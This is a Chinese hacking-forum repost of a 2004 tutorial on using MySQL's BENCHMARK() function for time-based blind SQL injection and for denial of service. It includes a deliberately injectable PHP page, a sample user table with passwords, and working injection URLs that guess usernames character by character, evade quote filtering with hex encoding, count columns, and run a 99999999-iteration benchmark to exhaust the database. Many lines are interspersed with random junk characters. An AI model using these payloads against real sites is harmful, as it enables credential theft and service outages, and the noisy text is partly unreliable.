找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2514|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 * _8 _* l4 x" Y) _
本文作者:SuperHei
7 H+ O! R5 Y! \0 |文章性质:原创
' a8 I( B( W4 a9 Q发布日期:2005-01-02
* u" Q, n5 M+ F* C8 E完成日期:2004-07-09
* S% U/ b; I6 E( U第一部( M, _# ]7 p6 a

$ T1 n9 ^4 Y1 X5 d, q4 Q" ?! u利用时间推延进行注射---BENCHMARK函数在注射中的利用 & i# _7 K7 m3 I

- b& o7 V* B- `- D: P一.前言/思路! b' D4 ~5 n. v0 d0 R1 N) [
( S) @. c0 o5 q! G+ Q
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。  O4 _- ^' c0 _: e! E! u% c9 ^( s5 O
: o' Z! Y  a3 ~* u8 f- H  S
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。" c5 ^6 ~# f! _% _, u- j, n
4 b& C/ ]3 p# y9 n+ S2 c! _
二.关于BENCHMARK函数
. c0 ]8 N% }& w! h8 Q$ X9 v4 T+ s+ ?: a% b( W) R0 Y7 D
  在MySQL参考手册里可以看到如下描叙: . B1 l! |5 J+ x' H( g' K
' Y! V9 ^( b1 S& x
# Z) r- v: ^! G6 x5 B- B( [7 |
--------------------------------------------------------------------------------  N, d. n* `: ?% _8 U7 x% R  {
) h4 X$ i5 c6 T& U$ L# R
BENCHMARK(count,expr) 2 d5 c* h: ~$ j* s  A7 k
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
' Y6 g  ~5 ~$ g! Fmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
* `1 u# a3 q1 O- D% D, z+----------------------------------------------+
" [# O# R$ r- W8 O" m| BENCHMARK(1000000,encode("hello","goodbye")) |
- v$ e! j* O  y+----------------------------------------------+
1 H! N4 }( V7 E- A+ D| 0 |
" Z& B) [" w) F# D; M7 O$ S6 ?' e- w+----------------------------------------------+
, m+ ^2 ]+ k  z! B+ m( f1 row in set (4.74 sec) $ C- _. Y/ [* B0 E

% D. Z2 a& \/ {; J" n$ R0 a报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
& M5 N0 s$ T; }
1 Y( z& Y1 I) k( U( {. C/ T! R; X1 Z, y
--------------------------------------------------------------------------------
% C1 B; `0 P3 b  S, K
1 f- o/ K8 G& x3 J7 I  K- W  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
" z  ?6 T, A% {2 p5 d1 p! G
( S0 {9 s* [4 a7 Tmysql> select md5( 'test' );
' e5 V' d; ~& L! R" T+----------------------------------+ 1 E" t5 C) y4 g5 ^5 O1 n1 J
| md5( 'test' ) | / Q8 T; o% G# u# n9 L
+----------------------------------+
8 s+ _- z- V. M3 v3 U& t# C| 098f6bcd4621d373cade4e832627b4f6 |
7 o. e- L; g) T6 }% H+----------------------------------+ * K+ d/ A- Q! q4 ]) b( J
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
% L! P; {* `' c' s+ `0 I4 ~, M/ l' H. O3 t0 Z+ ~+ `
mysql> select benchmark( 500000, md5( 'test' ) );
: q! _: q& x% `: H+------------------------------------+
3 T- |! Q3 j, ~; f5 W| benchmark( 500000, md5( 'test' ) ) | . L) n; B* [' V5 ?. M
+------------------------------------+ 4 U: ?; I' X$ b% F) i' P+ E
| 0 | 2 D3 P0 q7 r$ u1 b# r! E5 f* ]: S
+------------------------------------+
# v6 _4 a6 R4 `  x$ A2 _% C' f1 row in set (6.55 sec) 〈------------执行时间为6.55 sec: M" V' g% n. S4 E

1 Q( r) g. i: P/ N' d8 d- s4 M; t0 T" k5 ~1 @
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
0 {# H3 j5 n% p& y( k- _4 \( F$ V/ I3 e+ @( M: e! z  \- }. J
三.具体例子* b& \( y$ u- u5 {6 L

  C3 E  j/ R; P  首先我们看个简单的php代码:
- T9 n3 l4 G, s9 N5 ~& s
* O; E) R( q4 C< ?php
, v3 {* g; f& Y3 m$ ]3 t$ {6 A$servername = "localhost"; , q4 _$ b4 f( U2 @- c5 t8 W
$dbusername = "root";
* j) Y. p* K) X' H. v8 d  N$dbpassword = ""; 1 }& u/ e* ]$ `6 u6 C& l4 g
$dbname = "injection";
1 A  Q7 u' v1 K6 ^0 e, ]: a  I( @- r- O/ G' a, j
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
! T) p8 W8 @' ^+ m% F
# ~( c0 Y& u; G8 p$sql = "SELECT * FROM article WHERE articleid=$id"; % z4 A% }2 ]: r  ]" F
$result = mysql_db_query($dbname,$sql); ) b# A2 e" s- g8 @. [
$row = mysql_fetch_array($result);
5 p; {; G/ k  V! G+ `
& n& |" w7 n  w+ v1 E8 ^8 z+ nif (!$row)
/ \; V: P$ J# j, B/ H; F, M, q$ w{
, u6 P# f& ^3 t, ]8 R& @, eexit;
% M/ r5 C0 n  B" Q5 L1 r} 1 T# N5 F8 E) A, [5 @
?>
, W$ e4 O* `- Y9 L6 Y 1 q: }. d! ^( l% q3 ^* R
9 ]& w/ p! Y6 m$ _$ P2 j* V' _
  数据库injection结构和内容如下:
7 D; F! a( W$ ?4 [5 Z
3 I4 Y1 R" c! L6 e: k2 t1 u# 数据库 : `injection`
- w: w) [' {6 D) C% p$ V' t. J- R#
( x+ Z+ s$ u3 L. C
/ `8 y! a  J* \* o2 e5 @# --------------------------------------------------------
6 ?) H7 Y( r) }4 s9 m6 M: k+ E1 t- g
#
" X! ^8 ?. m5 b, j8 W/ [* J# 表的结构 `article` 4 C( C. C, c2 R, B& R
# 0 S7 Y/ M+ N7 F, D+ k, ~4 n

& I" A: ?8 a9 z& E9 XCREATE TABLE `article` (
; m! b4 l8 {7 \% ^# o`articleid` int(11) NOT NULL auto_increment, $ w0 q3 v: P/ E. m, a
`title` varchar(100) NOT NULL default '', , `% ~" ^2 [  v) h' S! Q0 [
`content` text NOT NULL,
8 R) x7 p# v5 U% BPRIMARY KEY (`articleid`) # V1 K# }& Y) h3 b
) TYPE=MyISAM AUTO_INCREMENT=3 ; 0 N- m% Z2 w* j" q! ]
! C7 Y2 u* z9 p+ m
# # w5 Z( @, b: B5 k/ ]( \7 F& A% m
# 导出表中的数据 `article` / J7 \8 S: M2 C1 G
# / u" p4 S5 d4 B4 C" e+ R7 H

# J* u) z1 J* y5 {INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
8 I  e. Y1 O1 s3 E9 f3 f) bINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');   N2 q' T+ Z7 P9 C# H5 ^7 K# a
0 J. |$ G* N8 c
# --------------------------------------------------------
- r$ T1 s1 @$ M! v' I  g0 u- H5 Q3 ~! L7 V9 \9 ?* K
#
, e! ?; h7 t: a: Z+ q+ @( x# 表的结构 `user` ! `3 c. i' `2 _& a
#
. B# s( `( C4 f. R  Q# J2 R' v
: Z, v. ~- V) N9 q1 [& a( w* Q; T; SCREATE TABLE `user` (
2 o! K( J  C. L; [/ u`userid` int(11) NOT NULL auto_increment, 3 q8 `0 Q& N* Q+ _6 p9 D$ o
`username` varchar(20) NOT NULL default '', 8 v2 a3 {/ q- M- v
`password` varchar(20) NOT NULL default '', ; |4 O" m. z1 @; O9 ?
PRIMARY KEY (`userid`)
. q6 D2 a: G* G- I# n* t) TYPE=MyISAM AUTO_INCREMENT=3 ;
+ K! e* E- d/ \) k
8 R9 t# J, G% f, ]6 U; S) O# 0 O+ O1 Z5 [  T) M
# 导出表中的数据 `user` 3 Q: o" c( y, f( E+ Z# L/ D
# 4 g5 m. S! G6 Y( ?: [; Z
& G! F2 m# S( I1 c  ]- W, e
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
7 K% f% f8 w3 D, N1 |9 nINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
. m+ A- O8 M- c1 A. _+ D% L
/ R+ ]3 Y: k* k6 W0 ^, R8 O6 O) A
9 U% q. W- d/ h" |7 Q. x  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:: [+ H, o$ W' ^7 a' Z' P+ H8 Y$ I# ?

' u  B2 `8 v2 y9 E  w* a( K4 x$ m8 jid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
" E( C3 [: G3 N+ ~- L) r* ^
/ C) d% V/ ?; B
7 g! \! _5 [: l7 j  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:& C3 q* b$ O' F# c8 V# _

9 k4 r: b; I" g9 Ehttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*3 {$ ~) k% F: x5 x$ M2 C% Q

7 f+ J& F2 h1 p* A! Q/ O/ Y8 C2 W) L; i( O
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
7 K9 _3 Q5 p- S1 B* ~1 d4 `# d4 i8 U" Z
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
/ @+ Q& U* t; f6 x+ X2 ], o. Q2 e: ?9 {- x( U
第二部- P) q& z1 U4 ~  s% D, r

/ z6 O/ R( n' J& n9 M/ ]' T利用BENCHMARK函数进行ddos攻击 : B/ L1 A) g0 M) s
/ K' K% c$ e. E, n
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 S! e4 h7 h5 J

' |( e: q& Q. p% M/ ?# Zhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
  Y/ V' _/ k3 d. t
; x3 S6 ?& t! d  H/ W4 t0 \- Q8 v& M' M3 _6 W$ v
小结! M: E4 h' J6 L; U, t* c' [  j  o

, a- p& p  b. Q5 e) M' E; g  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。$ }, l7 ~' X, h' s* {- Z

7 a  T* J( E1 {7 z; {/ j: e  # i( }- X0 W/ H" k: y2 y2 P% g3 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表